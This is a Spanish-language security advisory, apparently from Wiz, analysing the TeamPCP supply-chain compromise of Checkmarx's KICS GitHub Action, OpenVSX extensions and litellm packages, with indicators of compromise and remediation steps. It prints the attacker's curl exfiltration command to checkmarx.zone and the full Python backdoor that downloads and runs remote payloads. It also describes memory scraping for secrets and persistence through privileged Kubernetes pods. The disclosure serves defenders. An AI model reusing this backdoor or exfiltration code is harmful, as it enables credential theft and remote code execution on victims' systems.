La acción KICS GitHub se vio comprometida con malware de robo de credenciales por parte de TeamPCP, el mismo grupo detrás del ataque Trivy. KICS es una infraestructura de código abierto como escáner de seguridad de código de Checkmarx. Entre las 12:58 y las 16:50 UTC del 23 de marzocualquier usuario de esta acción de GitHub que estuviera fijando una de las etiquetas comprometidas habría recibido el malware. El repositorio se eliminó a las 16:50 UTC, poco después de que un usuario presentara un problema de GitHub notificando a los mantenedores del incidente.
La acción estaba disponible en https://github.com/Checkmarx/kics-github-action antes de la eliminación.
Actualización 24/03:
11:30 UTC: Los paquetes «litellm» (versiones 1.82.7 y 1.82.8) en PyPI han sido troyanizados. Contienen la misma funcionalidad que la operación anterior, pero utilizando un nuevo dominio de exfiltración: models.litellm[.]nube. La actualización maliciosa se publicó aproximadamente a las 8:30 UTC y PyPI la puso en cuarentena a las 11:25 UTC. Los clientes de Wiz pueden ver un aviso en el Centro de amenazas.
Actualizaciones 23/03:
19:24 UTC: El repositorio ha sido restablecido y los encargados de su mantenimiento afirman «El problema ya está resuelto».
22:25 UTC: Sysdig informa que ast-github-action también se vio afectado. Se limitaron a observar una única etiqueta maliciosa. 2.3.28 – Sin embargo, según las tácticas de TeamPCP, creemos que es probable que todas las etiquetas se hayan visto afectadas.
22:35 UTC: Basado en un consejo del investigador independiente Adnan Khan, Wiz ha confirmado que las extensiones Checkmarx OpenVSX asistencia-cx-dev 1.7.0 y resultados-ast 2.53.0 han sido comprometidos. Esto fue informado simultáneamente por ReversingLabs a través de un tweet. Ver «Carga útil OpenVSX» sección a continuación para obtener más detalles. Los hemos informado a OpenVSX para su eliminación.
Actualización 24/03 9:00 UTC: Checkmarx ha publicado una actualización de seguridad que aborda los problemas con la acción KICS GitHub y los complementos OpenVSX. Indican un tiempo de resolución de 15:41 UTC para OpenVSXsin embargo, observamos que las versiones maliciosas estaban presentes en el momento de nuestro informe. Además, aunque se han lanzado nuevas versiones, las versiones maliciosas aún no se han eliminado.
Este es el segundo escáner de seguridad de código abierto popular que este grupo ha comprometido en los últimos cinco días. La operación utiliza convenciones de nomenclatura familiares y la misma clave pública RSA, lo que permite a Wiz evaluar con gran confianza que se trata del mismo actor.
Carga útil de acción de KICS Github
El código malicioso se inyectó de la misma manera que en el incidente de Trivy:
-
El atacante organizó confirmaciones del impostor (confirmaciones en una bifurcación del repositorio) que contienen su carga útil:
setup.shy modificó el archivo action.yaml para activar un evento «Preparar entorno» que ejecutaría setup.sh.
-
Luego, el atacante usó lo que parece ser una identidad comprometida para actualizar directamente las 35 etiquetas en el proyecto y señalarlas a esas confirmaciones preparadas (lista de etiquetas a continuación).
setup.sh funciona de manera similar a las rutinas de robo de secretos empleadas en la operación Trivy, reuniendo secretos, luego cifrándolos y extrayéndolos. Nuevamente intenta enviarlos a un servidor controlado por el atacante, con la creación del repositorio github como respaldo, pero utiliza un nuevo dominio de exfiltración, checkmarx.zone (83.142.209.11) y el repositorio de exfiltración docs-tpcp. Al igual que con la operación Trivy, este malware puede soltar un script de Python destinado a descargar e instalar una carga útil siguiente. Sin embargo, esta implementación agrega un nuevo mecanismo de persistencia centrado en Kubernetes.
Mientras kics-github-action tiene ~1% del uso público visible de trivy-actiontodavía se adopta ampliamente de forma pública y privada como un escáner de seguridad de infraestructura como código.
Compromiso de Github
El ataque parece haber sido logrado mediante el compromiso de la cx-plugins-releases (GitHub ID 225848595), ya que esa es la identidad involucrada en la publicación de las etiquetas maliciosas.
Funcionalidad de secuencia de comandos
Inicialización, robo de datos y filtración
El script se inicia con el indicador establecido -euo pipefail para garantizar que falle silenciosamente, luego busca acciones de GitHub y ejecutores genéricos y crea un archivo provisional en /tmp. Luego inicia su búsqueda de credenciales, que realiza las siguientes cacerías:
-
Recopila variables ambientales, claves públicas/privadas SSH y busca cualquier archivo que contenga estos valores.
-
Si detecta que se está ejecutando en un ejecutor alojado en GitHub, ejecuta un script de Python para acceder a /proc/[PID]/mem para volcar la memoria de Runner.Worker y tallar objetos JSON marcados como secretos mediante expresiones regulares
-
Un segundo script de Python consulta los puntos finales de metadatos de la instancia de AWS (IMDSv1/v2), rastrea directorios comunes (/home, /root, etc.) y consulta la API de Kubernetes si se encuentran tokens de cuenta de servicio local.
Todos los secretos identificados se agrupan en un archivo de texto sin formato recopilado y luego se cifran utilizando AES-256-CBC y una clave de sesión aleatoria (openssl rand 32 > «$_SESSION_KEY»). Luego, la clave de sesión se cifra utilizando la clave pública RSA codificada del atacante. Esta es la misma clave pública utilizada en la operación anterior. Luego, ambos archivos se comprimen en tpcp.tar.gz.
El guión intenta exfiltrarlos mediante curl. El código de estado HTTP se captura para verificar el éxito:
_HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")
Si no tiene éxito y el entorno comprometido contiene un GITHUB_TOKEN, el script se autentica en la API de GitHub. Crea mediante programación un nuevo repositorio (/docs-tpcp/) dentro de la cuenta de GitHub de la víctima, crea una «versión» de software y carga el tarball cifrado robado como un activo de versión. La campaña anterior utilizó /tpcp-docs
Nueva persistencia basada en Kubernetes
setup.sh intenta crear la capacidad para una operación de seguimiento a través del mismo script sysmon.py que en la operación Trivy; sin embargo, esta vez se invoca un nuevo método basado en Kubernetes, en un intento de sobrevivir a la eliminación del contenedor de CI inicial. Si el script se ejecuta en un contenedor de Kubernetes que tiene permisos suficientes, intentará implementar un pod con privilegios elevados y ejecutar sysmon.py dentro de él. Si se ejecuta en un host Linux estándar, crea directorios ocultos en la carpeta de inicio del usuario ~/.config/sysmon y escribe la puerta trasera de Python allí. La puerta trasera es la misma que en la versión anterior, excepto que lee desde https://checkmarx.zone/raw, en lugar de la dirección ico utilizada en la operación Trivy.
import urllib.request
import os
import subprocess
import time
C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Creación de pods privilegiados e instalación de malware
El script verifica si el archivo: /var/run/secrets/kubernetes.io/serviceaccount/token existe y, si existe, usa ese token para consultar /api/v1/nodes para recopilar una lista de cada servidor físico o virtual subyacente en el clúster y extrae el nombre_nodo.
Para cada nodo, el script genera un manifiesto de pod y un script de carga útil. El script utiliza el manifiesto del pod para generar un nombre dinámico y coloca un pod con privilegios elevados en el ‘espacio de nombres’:’kube-system. El pod está configurado para ejecutar el script de carga útil personalizado generado previamente y luego salir. En cada nodo identificado, el script de carga útil instala la puerta trasera sysmon.py en /root/.config/sysmon/sysmon.py y crea un archivo de unidad systemd en /root/.config/systemd/user/sysmon.service para garantizar que se ejecute el script de Python.
Carga útil OpenVSX
Ambas extensiones comprometidas (ast-results v2.53.0 y cx-dev-assist v1.7.0) contenía cargas útiles idénticas. Se publicaron con 12 segundos de diferencia a las 12:53 UTC del 23 de marzo de 2026, a través de ast-phoenix cuenta en Open VSX. Las versiones de VS Code Marketplace no parecen verse afectadas.
Flujo de ejecución de carga útil
-
Al activar la extensión, el nuevo malware
environmentAuthChecker.jses invocado desdeactivateCore.js -
Esta carga útil primero verifica si la víctima tiene credenciales para al menos un proveedor de nube.
Si se detecta alguna credencial, la carga útil de la segunda etapa se recupera del C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz
-
La carga útil intenta la ejecución a través de npx, bunx, pnpx o Yarn dlx. Esto cubre los principales administradores de paquetes de JavaScript. El paquete recuperado contiene un completo ladrón de credenciales.
-
Luego, las credenciales recopiladas se cifran, utilizando las claves como en otras partes de esta campaña, y se exfiltran a
checkmarx[.]zone/vsxcomotpcp.tar.gz.
En sistemas que no son CI, el malware instala la persistencia a través de un servicio de usuario systemd. Las encuestas del script de persistencia https://checkmarx[.]zone/raw cada 50 minutos para cargas útiles adicionales, con un interruptor de apagado que cancela si la respuesta contiene «youtube». Actualmente, el enlace redirige a The Show Must Go On de Queen.
Artefactos comprometidos
Extensiones OpenVSX
| Artefacto | SHA256 |
|---|---|
| ast-resultados-2.53.0.vsix | 65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d |
| cx-dev-assist-1.7.0.vsix | 744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0 |
| checkmarx-util-1.0.4.tgz | 0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c |
| entornoAuthChecker.js | 527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90 |
Lanzamientos de kics-github-action
La versión v1.1 fue la única versión maliciosa creada. Otras versiones, activadas automáticamente por los eventos de etiquetas, fallaron porque esas versiones ya existían.
kics-github-acción Tags
| Etiqueta | Comprometer SHA |
|---|---|
| v1 | 0e22ec8d1e0dda3c62bf4beffcd4a8a5db1abda1 |
| v1.0 | 45f3749467a6017cb4fb749054b498d149dd5924 |
| v1.1 | 8e20c7a67bb95632e2040327a355fb97e6014d29 |
| v1.2 | 93de85c910d859b759cf9185aa78d5a23a4b7000 |
| v1.3 | 0e7343ba084735863db92b6f8ba2fa9dee604f7c |
| v1.4 | 2dc0fa613f6f4c15f26ad98225ad253475681616 |
| v1.5 | f00191dd3352c0cd83c6cce4e6bf04b628214dd0 |
| v1.6 | e0359b1a253ee66c8018586c3225e6e9cd2d8a4f |
| v1.6.1 | dc6dbf358998c0c64da83edc8fcd581c12656b19 |
| v1.6.2 | 08b9ea97eb292d5e1f9ac2d8e21c0ba32f0fdff0 |
| v1.6.3 | 005fb0837553de722f8bf11d98e905dbdde19861 |
| v1.7.0 | a5471d37c656ecd4560e8e0b3977910f27025618 |
| v2 | 3d49875ed47c6b8b4c8b50e0421418cf6b9f35f4 |
| v2.0.0 | 121c38fb49c9fc82160245fb6e2a9119db636e4d |
| v2.1.0 | 1e9eeaba37fe0032deba133f598e74dab0ceb3b7 |
| v2.1.1 | c5c07508527fc6a125855eebfb533e64f675bd8e |
| v2.1.2 | c999dbb9cc904e23675f9929f7e0e51d132879cf |
| v2.1.3 | 4ebf62dd8ff318412b38d19841fc3c8650e294bf |
| v2.1.4 | 3ae9f0d6f8139964635d411149f9b3e0a6eb935e |
| v2.1.5 | 96a0e8eb31c3cce6c495c9a49dd49c881cd17934 |
| v2.1.6 | 31fbf5831a2e52429738fdc0cbaa20e57872b6fc |
| v2.1.7 | fca3a20afcb8ec7f9932c060a236d2a9021fdd2b |
| v2.1.8 | 0f81f132f9f09bb4976d403914a44a1a1eb6158d |
| v2.1.9 | c0e23718a5074f3b8ad286f37b532e02057af35f |
| v2.1.10 | d66f0657133bc42f8264458063999bf1910490db |
| v2.1.11 | e35c9d6a5faffc1c5b3450d0bf09006aa9b9e906 |
| v2.1.12 | 2eee333d70fb6e14ce1d4aa73f12058bc5d70193 |
| v2.1.13 | f9641eb512f5c6530d13275903e8a97baf0925f1 |
| v2.1.14 | e8754eebc822b5122e96a6142b28dbc0e179c91c |
| v2.1.15 | 69b3f020390222a9fcb6029ba56533b2fb12f103 |
| v2.1.16 | db942a0dd7e9d1aeac72bc675bdb67f39a688b63 |
| v2.1.17 | 208813bf5feca5df9a935363cd426bc914614d0b |
| v2.1.18 | 3fdeadb81fbeddc1453163cc87bc173911fd47e2 |
| v2.1.19 | 310734c0ffd29438f6195a24e2cbbacfdc33c9ab |
| v2.1.20 | b974e53df1e3a2cd22ea90f0ec01882394feede4 |
¿Qué acciones deben tomar los equipos de seguridad?
-
Auditar las referencias de KICS GitHub Actions: Revisar flujos de trabajo usando
kics-github-action. Si hizo referencia a una etiqueta de versión en lugar de a un SHA, verifique los registros de ejecución del flujo de trabajo desde la ventana de exposición para detectar signos de compromiso. -
Búsqueda de artefactos de exfiltración: busque repositorios nombrados
docs-tpcpen su organización GitHub, lo que puede indicar una exfiltración exitosa a través del mecanismo de reserva.
Endurecimiento a largo plazo: Consulte Cómo reforzar las acciones de GitHub de Wiz: la guía no oficial
¿Cómo puede ayudar Wiz?
Los clientes de Wiz deben continuar monitoreando el aviso en el Centro de amenazas de Wiz para obtener orientación continua, consultas prediseñadas y referencias a detecciones relevantes que pueden utilizar para evaluar el riesgo en su entorno.
¿Te preocupa haber sido impactado? Conéctese con el equipo de respuesta a incidentes de Wiz.









